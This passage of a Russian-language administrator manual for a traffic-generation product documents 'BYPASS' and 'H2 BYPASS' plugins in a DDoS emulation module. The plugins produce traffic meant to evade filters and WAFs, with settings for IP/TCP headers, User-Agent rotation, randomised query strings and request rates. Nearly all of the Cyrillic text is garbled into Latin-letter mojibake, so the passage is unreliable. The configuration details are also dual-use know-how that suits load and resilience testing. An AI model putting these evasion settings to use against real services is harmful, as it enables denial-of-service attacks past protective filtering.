MakcumaiabHOe  KOJIMYECTBO  MOTOKOB
JIaHHBIX, KOTOpbIE MOTYT OBITh AKTHBHBI B
OJIHOM ceccuu.

[Tapametp JIOCTYTIEH TOJILKO pu
BkiroueHn H2 B «Ilapamerpax HT TP».

3agaiiTe YUCIOBOE 3HAUYEHNE
3HaueHne TI0 yMOTJaHUIO: «20»

Tymbnep  «bes
OTPaHUYEHUSD»

MaxkcumasbHas TPOH3BOJUTENBHOCTE Oe3
OTpaHHYCHUHA Ha KOJ-BO OTHPABISIEMBIX
3aIIPOCOB B CEKYHIY

BKJIFOYHTH/BBIKIHOYHTD
[o ymomuanuto, TymOJI€p BKIIIOUCH.

Nsm.

Jlucm

Ne dokym. lodnucs | Ldama

Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT
sepcuu 2.0 86

Jlucm




3anpocos B
CEeKyHIY (Ha
Ceccuio)

MakcuManbHOE  KOJMYECTBO  3alpOCOB,
KOTOphIE MOTyT OBITh 00paboTaHBl B
CeKYHJy JJIsl OTHOM ceccruu/cTpuma.

3agaiiTe YUCIOBOE 3HAUYECHUE

Ilo YMOJIYaHHUIO BBICTABJICHO 3HA4YCHUEC!:
10.

HurepBan mexny
OTIPaBKOH

Omuust MO3BOJIIET HACTPOUTH 3aJEPIKKY
MEXIy OTIPaBKOH 3aJaHHOTO  KOJ-Ba

3agaiiTe YUCIOBOE 3HAUEHUE
3HaueHue o ymoadaHuio: «0»

3aIpOCOB

3aIPOCOB B CEKYHY.

5.3.1.16.5 BYPASS

BYPASS — noamuiarus it renepauuu Tpaduka, HarpaBJIeHHBIH Ha 00X0/1 CTAaHJAPTHBIX MEp

3amuThl (Hanpumep, GuabTpoB wim WAF).

HaHHHfI IJIarud COCTOMT U3 CICAYIOIHX IIapaMETPOB:

a) Tymbnep «AKTUBHpOBATH MOAIJIATUH» - JJIS BKIIOUEHHS MOJIUIArMHA B PaMKax

mwiarnaa «MHDDoS Emulation».

06) McTouHMKU — COBOKYIMHOCTb W3 BBIOpaHHOrO areHTa, uHTepdeiicoB u MAC-

aIpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MPpUHUMATh Tpaduk. OmnurcaHue napaMmeTpoB

ykazansl B Taoin. 40;

Ta6a. 115 — [Mapamerpsl «AcTOUHHKN

5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOTO

6yZ[yT HUCIIOJIB30BaThCA I OTIIpAaBKU

Tpaduka. Ecam BeiOpaHo Oonee OmHOTO
00beKTa, MOXXHO U3MEHUTH NAPAMETP «BECH,
OTBEYaAIOIIUHA

3a 0amaHCHPOBKY

pacrnpeneneHus MaKeTOB MEXIY

BBIOpaHHBIMU 00BekTaMu «CeTm».

Hazsanue Onucanne 3naveHue

ATEHT ATreHT, C KOTOpOro OyneT OTHpaBiAThCA | BeiOepere areHT U3 CIIMCKa areHTOB
TpapuK M C KOTOpBIM Oyaer NpUHUMATH
Tpaduk.

CereBoii CereBoii mHTepdelic arenra, ¢ koroporo | Beibepere uHTEpdEiic u3 CIIUCKA

nnrepetic OysieT OTHpaBATLC TpaQUK M C KOTOpPBIA | MHTEpdeHcos
OyneT npuHUMaTh Tpaduk

CeTb Bribpannsie 06bekT «Cetn» (cM. 3arosioBok | Beibepere o00BexT «CeTu» M3 CHHCKa

00BeKTOB. 3aaaiiTe Bec (110 YMOITYaHHIO, BEC
pacrpenesseT paBHOMEPHO MAKEThl MEXIy

o0bekTamu «CeTrny)

B) llenu —mapameTtpsl A BbIOOpa 00bEKTa, B KOTOPBIN OyIeT HalpaBisIThes Tpaduk

(cm .3aromoBok 5.2.2.3);

Ha3panue Onucanne 3HayeHune
Llenb Bri6pannsie 00bekT «Cetn» (cM. 3aronoBok | Bribepere o0vexkT «CeTm» U3  CHECKa
5.2.2.3) mapaMeTpbl  KOTOPOTO  OYyAyT | OOBEKTOB.
Jluecm
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WCIIONB30BaThCA U OTIpPaBKH Tpaduka B

BBEIOpAHHYIO 1IETIb.

r) IP 3aronoBok (L3) — mapamerpsr Hactpoek IP 3aronoskos Ha yposue L3 TPC/IP,

OIMCaHMUe KOTOPHIX yKa3aHbl B Tabn. 116;

Ta6.1. 116 — ITapametpsl «IP 3arososok (L3)»

Ha3Banmue Onucanue 3HaueHne

TTL (Time to | Hapamerp TTL ompenenser MakcumanbHOe 3anariTe YHUCTIOBOE 3HaAYCHHUE (o

Live) KOJIMYECTBO  MAapIIPYTH3aTOPOB  (XOMOB), | yMomyanuioo, 3HaueHme TTL saBusercs:
yepe3 KOTOphIE MOXKET MOPONTH makeT | «128»)
JIAHHBIX, TIPEX/Ie YeM OH OyJeT OTOpOILeH.
ToS (Type of | DSCP — »sto moje B 3aronoBke IP-makera, | 3amaiite YHCIIOBOC 3HAYCHUE (o
Service) KOTOpPOE HCIOJB3YeTCsl Ui OMpeNeNicHus | yMoidaHuio, 3nauenue DSCP sBusietcs: «7»)

npuopuTeTa M 00paboTKK Tpaduka

ECN — sTo MexaHu3M, KOTOPBIH o3BounsieT | Boibepere 3HaUeHHE U3 CITUCKA:

MapILIpyTH3aTopaM  yBEAOMILSTE  y3i1bl 0 | 00 (Non-ECT)
neperpyskax B ceTu 6e3 coOpoca ImakeToB. 01 (ECT(1))

10 (ECT(0))
11 (CE (Congestion Experienced))

1) TCP 3aronoBok (L4) — mapametpsl HacTpoek |P 3aronoskos Ha yposue L4 TPC/IP,

oIMcaHue KOTOPbIX yKa3aHbl B Tabn. 117;

Taon. 117 — Iapamerpsi « TCP 3arosioBok (L4)»

Ha3Banue Onucanne 3HaveHue

Max. Segment Size | MakcumanpHBIH pa3Mep CerMeHTa | 3afaidiTe YUCIOBOE 3HaueHHe (10

(MakcnmanbHbli PasMep | onpenensier MaKkCMMAaJIbHBIA | yMOJ4aHWIO,  3HaueHHe  Max.

CErMeHTa)
00beM JaHHBIX, KOTOpBIA MoXkeT | Segment Size sBusercs: «1460»)
ObiTh TepenaH B omHoMm TCP-
CEerMeHTe

WS (IP Options) IMapamerp WS (Window Scale) | 3amaiite uucioBoe 3HaueHue (IO
OTHOCHTCSI K MEXaHU3MY | YMOJ4YaHWlO,  3HaueHne WS
MacmtabupoBanust okHa TCP, | sBusercs: «64»)
KOTOpBIA MO3BOJISIET  YBEJIUYUTH
pasMep OKHa /sl yNpaBJICHUS
MIOTOKOM JaHHBIX.

Window Size (Pa3mep oxHa) Pasmep okna TCP omnpenensier | 3amaiite uucioBoe 3HaueHue (IO
00bEM JIaHHBIX, KOTOPBI MOXET | yMon4aHuio, 3HadeHne Window
ObITh OTHpaBieH Oe3 oxugaHus | Size sBisAETCS: «256»)
MOJITBEPIKACHHS OT MOJTyqaTeIsl.

e) Ilapamerpsr HTTP - mapamerps! Hactpoek HTTP 3aronoBkoB Ha ypoBHe L6-L7

TPC/IP, onrcanue KOTOphIX yKa3zaHo B Tabm. 118;
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Ta6a. 118 — [Mapamerpsol «Ilapamerpst HTTP»

Hassanue Onucanne 3HaueHHe

HTTPs Yka3bIBaer, HCTIOTB3yeTCs ma | JJa / Her (ykaxure TeKymiee COCTOSHHE
3alMIICHHBIA  TPOTOKON  TEpeiayudl | MepeKiIyaresieM TyMmoaepa)
nauaeix HTTPS

Bepcust TLS | Bepcus TLS (Transport Layer Security) | Beibepere 3nauenue TLS v1.2 unu TLS v1.3
ONpEZIETsIET TMPOTOKON INU(POBAHUS,
UCTIONB3YeMbIH Uil oOecredeHus
6e30macHOi mepenayn JaHHBIX MEXIY
KIIHEHTOM " cepBepoM
ITapameTp nocTymeH, eciu mHapameTp
HTTPs Bkirouen

Bepcus VYkasbiBaer Bepcuto nporokosia HTTP, | Ilo ymonuanuto, 3anano 3nauenne HTTP 1.1

HTTP HCTIONB3YEMYIO IS TIepelavun JaHHBIX.

User-Agent 3aronoBOK, KOTOPHI MACHTHGHIUPYEeT | BBennTe 3HaUCHNE 3ar0JIOBKA:
KIIMCHTCKOS NPUIOKCHHE (HAaIpuUMep, | o ymorganmo, ${userAgent} - OGecmeunBaer
Opaysep) H OMEPAaLMOHHYIO CHCTEMY, C | potammio User-Agent: Ui Kakmoro 3ampoca
KOTOPOH OCYICCTBIIACTCSA 3aIlIPOC. BEIOMpaeTCs CIy4allHBIA BaNWAHBIA BapHaHT W3

crmicKa B BeO-uHTEpdeiice

ITyts Vka3pIBaeT MyTh K 3alpamiuBaeMoMy | Beegure 3HaueHne myTd (10 YMOIYaHHIO,
pecypcy Ha cepBepe. Ito yacth URL, | 3HaueHHe MyTH sIBISETCS KOpHEBas JUPEKTOPUS
KOTOpast CJIeIYET 38 IOMEHHBIM HMEHEM. | cepBepa: «/»)

HTTP meron | Meton, wucmonp3yeMerid it 3ampoca | Ilo ymomdanuto, 3amaHo 3HaueHne «GET»

pecypca Ha cepBepe.

HTTP craTyc

Onmws, oTBeYaromas 3a OTCIICKUBAHUE
nepeajpecaliii CECCUU B CTOPOHY LIEJIH.
Ecmu ommust BKITIOYEHA: BCE OTBETHEHIC
3amnpocChkl cojiepKalne Ko orBera 3XX
OynyT oTpaboTaHBl U CECCHS BMECTE C
nocyeyloumuM TpahuKkoM B paMKax
9TON ceccuu OyneT MepeHanpaBieH B
Uelb, yKa3aHHYl0 B  3arojloBKe
«location»

BKTIOYNTE/BBIKITIOUATE TYMOJIEP

HTML Meta
Refresh

OHI_[HH, OTBC€Yaromasa 3a OTCJICKHWBAHUC
nepeajapecanum ceCCMu B CTOPOHY LICTIN.

Ecnm ommus BKIIOYEHA: BCE OTBETHBIC
3arpockl, coaepskamue B orBere HTML
cTpanuily ¢ meta-rerom «refreshy oymyr
OoTpabOTaHBl M CecCHsi BMeECTe C
nocyeyloumuM TpahuKkoM B paMKax
9TON ceccuu OyneT MepeHanpaBieH B
Uelb, yKa3aHHYl0 B  3arojioBKe
«content», BKIIto4as 3a0€pKKy

BKJIIOYNTE/BBIKITIOYUTE TYMOJIEP

I'myOuna

3HaYeHHE MAaKCHMAaJbHO IOIMYCTHMOIO
KOJIMYECTBA Tepeaapecalii B paMKax
onuoii TCP ceccun

3amaiite cBoe 3HaueHWe (IO YMOJYAHHIO,
3Ha4YeHHE paBHO «20»)

Query

napameTpsbl

ITapametpel, nepenaBaembie B URL
nocJe 3Haka Borpoca (?)

BBeante 3HaueHWe T1ocie HaXKaTHS KHOIKH
«J106aBUTH TApaMeTPB»:

e BaeauTe cBoe 3HaUCHHUE

o ${str(length)} - DopmupyeTr
NPOU3BOJIHYKO KOMOWHAIMIO CHMBOJIOB
3amanaoi aumHel (mpumep: ${str(16)})

e ${strMinMax(min_length,max_length)}
- Dopmupyer NPOU3BOJIEHYIO
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KOMOMHAIIMIO CHMBOJIOB C JUIMHOW B

YKa3aHHBIX npeaeax (mpumep:
${strMinMax(16,24)})
e  ${hex(length)} - dopmupyer

MIPOM3BOJIBFHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHOW [UIMHBI B IECTHAANATCPUIHOM
dopmare (npumep: ${hex(16)})

o ${hexMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOHWHAITHIO CHMBOJIOB B
[IeCTHAIATEPIIHOM tdopmare B

yKa3aHHBIX npezenax (mpumep:
${hexMinMax(16,24)})

o ${email} - ®opmupyer BamHIHBINA email
CO CIIyYaifHBIM MMEHEM IOJIb30BaTeNs U
JIOMCHOM

o ${login} - ®opmupyeT BaIUAHBIA JOTHH
[OJIb30BATEIISI

o ${password}- dopmupyer BaIHUAHBIH
[apoJIb MOJIB30BATENIS

3arojloBKu I[OHOJ'IHI/ITéJ'ILHLIe MCTaJaHHBIC, 3Ha4YeHHA T10 YMOJ'I‘IaHI/IIOZ
otnpasisiemple BMecte ¢ HTTP- «ACCEPt»:« */*»;
3alpOCOM. «Accept-Encoding»:« gzip,deflate,br»;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»,

«Cache-Control»:«max-age=0»,
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-origin»;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«documenty;
«Pragmax:«no-cache»;

BBenure 3HaueHWEe MOCNE HAXKATUS KHOIKH
«Jlo6aBUTh TapaMeTphI»:
e  BaeauTte cBoe 3HaUCHHUE
o  ${str(length)} - DopmupyeT
MPOU3BOJIHYO KOMOWHAIMIO CHMBOJIOB
3ajanHoi mmuHE! (pumep: ${str(16)})
e ${strMinMax(min_length,max_length)}
- Dopmupyer MIPOU3BOJILHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIMHOW B

YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - DopMupyer
NPOU3BOJIHYKO KOMOWHAIMIO CHMBOJIOB
3aIaHHOM [UTHHBI B IIECTHAALATCPHYHOM
dopmare (mpumep: ${hex(16)})

o  ${hexMinMax(min_length,max_length)}
- DopmupyeT NPOU3BOJIEHYIO
KOMOWHALIHIO CHMBOJIOB B
IICCTHALATEPUIHOM bopmare B

YKa3aHHBIX npenenax (mpumep:
${hexMinMax(16,24)})

o ${email} - ®opmupyer BanuaHbIH email
CO CIy4YaifHbIM UMEHEM I0JIb30BaTells
JOMEHOM
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${login} - dopmupyeT BaaMIHbIN JOIHH
MOJIL30BATENS

${password}- dopmupyer BanHAHBIH
[apOoJTh TI0JIB30BATENS

k) IlapameTpsl ceccum - mapameTpsl, KacarollMecs YIPaBICHUs CECCUSIMU B paMKax

TEKVILEro IIaruHa, OMcaHne KOTOPhIX yKa3aHo B Taoi. 119;
b

Ta6u. 119 — [Iapamerpsl «IlapameTpsbl ceccumny

Haspanue Onucanne 3HaveHue
Oo6ee MaxkcuManbHOE KOIHIECTBO OHOBPEMEHHO | 3amaiiTe YHCIOBOE 3HAUCHUE
KOJIMYECTBO AKTHUBHBIX CCCCHﬁ, KOTOPBIE MOTYT OBITH 3HaueHue 1o YMOJIYaHHIO: «10»
ceccuit YCTaHOBJICHBI B paMKax IUIarvHa.

Tanm-ayT Bpems B cexkyHIax, B TE€YEHHE KOTOPOro | 3ajalTe YUCIOBOE 3HAUECHUE
MOBTOPHOI'O [lepecer-CT Oyzmer TBITATBCS | 3HayeHHe M0 yMOTYaHHIO: «0»
MOAKITIOUEHHS BOCCTAaHOBUTh COCAMHEHHE TIIOCIE €ro

paspeiBa. Ecim coemuHenwe He Oymer
BOCCTAHOBJIEHO B YyKa3aHHBIM IEPHO/I,
ceccus OyIeT 3aKphITa.

Ilonkmrouenuii B
CEKYHIY

MakcumanabHOE KOJIUYECTBO HOBBIX CECCHH,
KOTOpPBIE MOTYT OBITh YCTaHOBIICHEI 32 OIHY
CEKyHAY.

3agaiiTe YUCIOBOE 3HAUEHUE
3HauCHHE TI0 YMOJTYAHUIO: «1»

Tym6nep  «be3 | MakcuManbHasi MPOU3BOAUTENHHOCTh 0€3 | BKIFOYHTH/BBIKIIOYHTS

OTPaHUYCHUS» OTPaHMYCHUI HA KOI-BO OTMNPABIACMBIX | [Jo yMOTYAHMIO, TYMOIEp BKIIIOUEH.
3aIpOCOB B CEKYHIY

3ampocoB B | MakcuMalpHOE  KOJIMYECTBO  3allpOCOB, | 3amaiiTe YUCIOBOE 3HAYCHHUE

CEKynn1y (Ha | KOTOpBIC MOTrYT OBITE 00paboTaHbl B | [[0 yMOIYAHHIO BHICTABIEHO 3HAUCHHE:

CECCHIO) CEeKYHJy JJIsl OTHOM ceccuu/cTpuma. 10.

WurepBan mexay
OTIPaBKOMI
3aIpocoB

Onnusg mMo3BOISIET HACTPOUTH  33AEPIKKY
MEXJAy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aMpoCOB B CEKYHIY.

3ajaiiTe YUCIOBOE 3HAUECHUE
3HavyeHUe 1Mo yMOoTJaHui0: «10»

5.3.1.16.6 H2 BYPASS

H2 BYPASS — noamnarus it reHeparuu Tpaduka, HarnmpaBJIeHHBIH Ha 00X0JI CTaHIapPTHBIX

Mep 3amuThl (Hanpumep, GunbTpoB i WAF), ncnons3yst mpotokon HTTP 2.

I[aHHLIfI IJIarvuH COCTOUT U3 CICAYIOIHNX ITapaMCETPOB:

a) TYM6J'ICp «AKTI/IBI/IpOBaTB MOATUIarvuH» - IJIA BKIIFOUCHUA MOAIUIArnHa B paMKax

mwiarnaa «MHDDoS Emulation».

6) HcTo4HMKM — COBOKYMHOCTh W3 BBIOpaHHOTO areHTa, mHTepdeiicoB u MAC-

aJIpecoB C KOTOPBIX areHT OyAeT OTHPAaBIATh U NpUHUMATh Tpaduk. OmnrcaHue napaMmeTpoB

ykazanbl B Tabn. 40;
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Ta6a. 120 — [Iapamerpbl « AcTOYHHMKI

HasBanue Onucanne 3HauyeHue

ATeHT AreHT, C KOTOpOro OyneT OTHpaBisiThbcs | BriOepere areHT U3 criMcKa areHTOB
Tpaduk M C KOTOpBIM OyAeT NpHHUMATH
Tpaduk.

CeTeroii CereBoii mHTep(elic arenra, ¢ koroporo | Bribepere uHTEpdEiic u3 CIHCKa

unrepetic OyaeT oTmpaBisAThCA TpadHK M ¢ KOTOpHIH | mHTepdeiicoB
OyzeT mpuHUMATH TpauK

CeTb BriOpannbie 00bekT «Cetn» (cM. 3arojoBok | Beibepere o0bvexT «Cern» U3  crnmcka

5.2.2.1 win 5.2.2.2) mapameTpbl KOTOPOTO
OyZyT WCIONB30BaTHCA Sl OTIPABKU
tpaduka. Ecnum BbIOpaHo Oosiee OIHOTO
00BEKTa, MOYKHO M3MCHUTD HAPAMETP «BECH,
OTBEYAIOIIUH 3a 0alaHCHPOBKY
pacnpeneneHus MAKEeTOB MEXIY

BBI6paHHBIMI/I o0bekTaMu «CeTH».

00beKTOB. 3asaiite Bec (10 YMOIYaHUIO, BEC
pacripesenseT paBHOMEPHO MaKEeThl MEXIY

obbekTamu «Cetny)

B) llenu — mapameTtpsl A BbIOOpa 00bEKTa, B KOTOPBIN Oy/IeT HalpaBiIsIThes Tpaduk

(cMm .3aromoBok 5.2.2.3);

Ha3Banmue

Onucanmne

3Hauenue

Henp

Bri6pannbie 00bekT «CeTn» (CM. 3aT0JIOBOK
5.2.2.3) mapaMeTpbl  KOTOpOro  OyayT
UCIIONIb30BAThCsl JUIS OTIPaBKH Tpaduka B

BBIOPAHHYIO LEb.

Bribepere o0bekt «CeTm» W3  cIHCKa

00BEKTOB.

r) IP 3aronoBok (L3) — mapametpsr HacTpoek IP 3aronoskos Ha yposhe L3 TPC/IP,

oIMcaHue KOTOPbIX yKa3aHbl B Tabn. 121;

Taoua. 121 — IMapamerpsi «IP 3aronosok (L3)»

Ha3zBanmue Onucanue 3Hauenue
TTL (Time to ITapametp TTL ompenenser mMakcuManbHOe | 3amalTe YHCIIOBOE 3HAYCHHE (o
Live)

KOJIMYECTBO  MAapIIPYTH3aTOPOB  (XOIOB),
yepe3 KOTOpbIE MOXET IPOWTH MaKeT

JTAaHHBIX, MPEXKIC YeM OH OyAeT OTOPOIICH.

yMmoiuanuio, 3Haduenne TTL  sBusercs:

«128»)

ToS (Type of
Service)

DSCP — »to0 mone B 3aronoBke IP-makeTa,
KOTOPOE HCIOJIb3YETCSl Uil OIpeeNieHUs
npuopuTera 1 00paboTku Tpaduka

3anaiite YHCIOBOE 3HaYCHNE (o
yMou4aHuo, 3Hauenne DSCP sBnsercs: «7»)

ECN — 510 MexaHM3M, KOTOPBIH 1O3BOJNISET
MapIIpyTu3aTopamM yBEAOMIISTH Y3JIbl O
neperpyskax B ceTu 0e3 cOpoca ImakeToB.

BBI6Cp€Te 3HAYCHHUEC U3 CIINCKa:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))
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| 11 (CE (Congestion Experienced)) ‘

1) TCP 3aronoBok (L4) — mapamerpsl HacTpoek IP 3arosioBkos Ha yposae L4 TPC/IP,

OMHCaHUe KOTOPHIX yKa3aHbl B Tabn. 122;

Ta6a. 122 — Iapamerpsl «TCP 3aronosok (L4)»

Ha3zBanmue Onucanmne 3Hauyenue
Max. Segment Size | MakcuManbpHBIN pa3Mep cerMeHTta | 3ajaiiTe 4HcIOBOe 3HaueHue (1o
(MakcumarnbHbIi pasmep onpezenseT MaKCHUMAaJIbHBIM | YMOJNYaHHUIO, 3HauyeHue  Max.
CETMEHTa)

00beM [aHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omHoM TCP-

CCIMCHTC

Segment Size sBisercs: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOPBIH IO3BOJISIET  YBEIUYHUTH
pasMep OKHa Ml yNpaBICHUS
MIOTOKOM JaHHBIX.

3anaiite unciIoBoe 3HaueHHE (T10
YMOJTYaHHUIO, 3HAYEHUE WS
SIBIISIETCS: «64»)

Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM IIaHHBIX, KOTOPBIA MOXET
OBITh OTIpaBICH 0€3 OXHUIAHHS

3anaiite unciIoBoe 3HaueHHE (T10
yMoJl4aHuto, 3HaueHue Window
Size sBnsiercs: «256»)

TOATBCPIKACHUA OT TOJTYyHATCIIA.

e) Ilapamerpsr HTTP - mapametpsr Hactpoek HTTP 3aronoBkoB Ha ypoBHe L6-L7

TPC/IP, onrcanue KOTOphIX ykazaHno B Tabm. 123;

Ta6a. 123 — [Mapamertpsl «[lapamerpsr HTTP»

HasBanue Onucanne 3HaveHHue

HTTPs Yka3bIBaer, HCTIOB3YeTCS ma | JJa / Her (ykaxure TeKyllee COCTOSHHE
3aI0UIICHHBIA  MPOTOKOJ  Iepelayd | MepeKiroyaresieM TyMmoiepa)
nanaeix HTTPS

Bepcust TLS | Bepcust TLS (Transport Layer Security) | Beibepere 3nadenue TLS v1.2 umm TLS v1.3
ompenenseT TNPOTOKON HIM(pOBaHUS,
UCIIONB3YEMBbI Uit o0ecredeHust
0e30macHOi Tepenayn JaHHBIX MEXTY
KIIMEHTOM u cepBepoM
[Tapamerp nocTyneH, ecnu Iapamerp
HTTPs BriroueH

Bepcus VkasbiBaer Bepcuto nporokosa HTTP, | Ilo ymomuanuto, 3anano 3nauenne HTTP 2

HTTP HCIOJIb3YEMYIO IS IEpEAAYUN JAHHBIX.

User-Agent 3arosoBOK, KOTOPBI MAEHTHGHIKPYyeT | BBennTe 3HaUeHNE 3ar0I0BKa:
KIIMEHTCKOe NPUIOKeHHE (HAaNpuUMep, | mo ymomuanmio, ${userAgent} - OGecreunBaer
Opaysep) U OIEPALMOHHYIO CHCTEMY, C porammto User-Agent: aisi KaXJOro 3ampoca
KOTOPOH OCYINECTBIIACTCA 3aMpocC. BBIOMpaeTCs CIy4allHBIH BaJWAHBIA BapHaHT W3

crucka B BeO-uHTEpdetice
[yts Vka3blBaeT NyTh K 3amnpaninBaeMoMmy | Beegure 3HaueHwe myTtH (IO YMOJIYAHHMIO,

pecypcy Ha cepsepe. Oto yacth URL,
KOTOpas cIeIyeT 3a JOMEHHBIM UMEHEM.

3HAYCHHE MYTH SBISIETCS KOPHEBas IUPEKTOPUS
cepaepa: «/»)
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HTTP meton

Merto, HCHONB3yEeMBINA JJIsl 3ampoca
pecypca Ha cepBepe.

[To ymoyanuto, 3agano 3Hauenue «GET»

HTTP craryc

Ommusi, oTBeyaromas 3a OTCICKHBAHUE
nepeaipecay CeCCHU B CTOPOHY LICIIH.

Ecin omnius BKIIOYEHA: BCE OTBETHBIE
3amnpockl cofeprkaiue kox orsera 3XX
OyayT oTpabOTaHBI M CECCHs BMECTE C
MOCEOYIOMNM TpahuKOM B paMKax
9TOW ceccuu OyAeT TepeHampaBlicH B
IeNnb,  YKa3aHHYHd B 3aroJIOBKe
«location»

BKITFOYHTE/BBIKITIOYHTS TyMOIIEp

HTML Meta | Onuust, oTBeyaroiasi 3a OTC/IeKUBaHue | BKIIOUNTH/BBIKIIOUUTH TyMOJIED
Refresh nepeasipecariiil CECCHU B CTOPOHY IEITH.
Ecmu omiust BKIIIOYCHA: BCE OTBETHBIC
3anpocsl, coaepxamue B oreere HTML
crpanuity ¢ meta-rerom «refreshy 6yayt
oTpaboTaHBl H CecCHUs BMECTe C
MOCEOYIONNM TpaUKOM B paMKax
9TOH ceccuu OyAeT TepeHampaBlicH B
[enb,  yKa3aHHYl0O B 3aroJIOBKE
«content», Bkitouast 3a€piKKy
I'mybuna 3HaycHHE MAaKCHMaJbHO JOMYCTHMOTO | 3amaiiTe cBoe 3HaueHHe ([0 YMOJYAHUIO,
KOJINYECTBa Iepeajpecalluii B paMKax | 3HadeHHE paBHO «20»)
onuoit TCP ceccun
Query [Tapametprl, nepenaBaembie B URL | BBegure 3HaueHue 1mocie HaKaTUsg KHOIKHU
mapamMeTpsl mocJe 3Haka Borpoca (?) «/l00aBUTH apaMeTpBI»:
e Bsenute cBO€ 3HaUCHUE
e ${str(length)} - dopMupyeT
MPOU3BOJIBHYI0 KOMOUHAIIMIO CHMBOJIOB
3aganHoi anuHel (mpumep: ${str(16)})
e ${strMinMax(min_length,max_length)}
- dopmupyer MIPOU3BOJIbHYIO
KOMOWHAIIMIO CHMBOJIOB C [UIMHOW B
YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})
o  ${hex(length)} - dopmupyeT
MPOU3BOJIBHYI0 KOMOUHAIIMIO CHMBOJIOB
3aJJaHHO [UIMHBI B IECTHAAIATCPUIHOM
dopmare (pumep: ${hex(16)})
o  ${hexMinMax(min_length,max_length)}
- dopmupyer MIPOU3BOJIbHYIO
KOMOUWHAIIHIO CHMBOJIOB B
HIeCTHAIATEPUIHOM tdhopmare B
YKa3aHHBIX mpeenax (mpumep:
${hexMinMax(16,24)})
o ${email} - ®opmupyer BanmuaHbIH email
CO CIyYallHBIM UMCHEM IOJb30BATENS H
JIOMEHOM
o ${login} - ®opmupyeT BaIHAHBIH JTOTHH
MOJI30BATEIS
o ${password}- @opMupyer BaIHAHBIHA
MapoJb MOJIb30BATEINS
3aroaoBKH JlomoTHUTETBHEIC MeTaJIaHHbIe, | 3HAYCHHS IO YMOIYAHUIO:
ornpasinsempie  BMecte ¢ HTTP- | «Accepty»i« */*»;
3apocoM. «Accept-Encoding»:« gzip,deflate,br»;
Jluem
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«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-origin»;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«document»;
«Pragma»:«no-cache;

BBenure 3HaueHWe MoOcie HaXaTUs KHOIKHU
«J106aBUTH TApaMeETPBI»:

BBeaute cBOE 3HaUEHHE

${str(length)} - dopmupyer
TIPOM3BOJIEHYIO KOMOWHAIIMIO CHMBOJIOB
3amanHo# mmuHB! (pumep: ${str(16)})
${strMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIHHYIO
KOMOWHAIIMIO CHMBOJIOB C JUIHHOH B
YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

${hex(length)} - dopmupyer
TIPOM3BOJILHYIO KOMOWHAIIMIO CHMBOJIOB
33}13HH0171 JJIMHBI B HICCTHAATATCPUIHOM
dopmare (mpumep: ${hex(16)})
${hexMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIHHYIO
KOMOWHAIIHIO CHUMBOJIOB B
LIECTHAAATEPUIHOM ¢dopmarte B

yKa3aHHBIX npenenax (mpumep:
${hexMinMax(16,24)})

${email} - ®opmupyer BanuaHbIi email
CO CITy4aifHBIM HMMEHEM IONB30BaTess U
JIOMEHOM

${login} - ®opmupyer BanUAHBINA JTOTHH
HOJIb30BATEIISI

${password}- dopmupyer BanHAHBIH
[apoJIb MMOJIB30BATEIS

k) IlapameTpsl ceccuu - mapameTpsl, KacarolMecs YIpaBICHUs CECCUSIMU B paMKax

TEKYIETO MJIaruHa, OMucaHue KOTOPhIX yka3aHo B Tabm. 124,

Tada. 124 — IMapamertpsl «IlapameTpbl ceccum»

ceccusi OyieT 3aKkphITa.

Ha3panue 3navenue
Oomiee MaxkcuManbHOE KOMMYECTBO OJHOBPEMEHHO | 3ajaiiTe YMCIOBOE 3HAUCHUE
KOJIMYECTBO AKTHUBHBIX CeCCHﬁ, KOTOPBIC MOTI'YT OBITH 3HayeHue 1o YMOJIYaHHUIO: «10»
ceccuil YCTaHOBJICHHI B paMKax IUIarvHa.

Taiim-ayT Bpems B cexyHmax, B TedeHHE KOTOPOro | 3ajaiiTe 4MCIOBOE 3HAUCHUE
IIOBTOPHOT'O ITepecer-CT TBITATECS | 3HaueHue 110 yMONYAHHIO: «0»
TIOKITFOUEHS BOCCTAHOBHUTh  COEIAMHEHUE ero

paspeBa. Ecmm coenunenme He Oyzaer

BOCCTaHOBJICHO yYKa3aHHBI TEepHoa,
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[Togknrouennii B
CEeKyHIY

MakcruManbHOe KOJMYECTBO HOBBIX CECCHIA,
KOTOpPBIE MOTYT OBITh YCTaHOBIICHEI 32 OIHY
CeKyHIY.

3agaiiTe YUCIOBOE 3HAUYECHUE
3HaueHue Mo yMoa4aHuio: «1»

Makc. ctpumoB
(Ha ceccuto)

MakcuMaabHOE€ ~ KOJIUYECTBO  ITOTOKOB
JTAHHBIX, KOTOPBIC MOTYT OBITh AKTUBHBI B
OJIHOM CeCCHUH.

3anaiiTe 4uCI0BOE 3HAUCHUE
3HaueHHe IO YMOTYaHUI0: «20»

Ilapamerp ~ AoCTymeH  TOJNBKO  INpH
BkiroueHnu H2 B «Ilapamerpax HT TP».
Tymbnep  «be3 | MakcuManpHasi MPOU3BOAUTENBHOCTh 0€3 | BKIFOYHTH/BBIKIIOYHTD
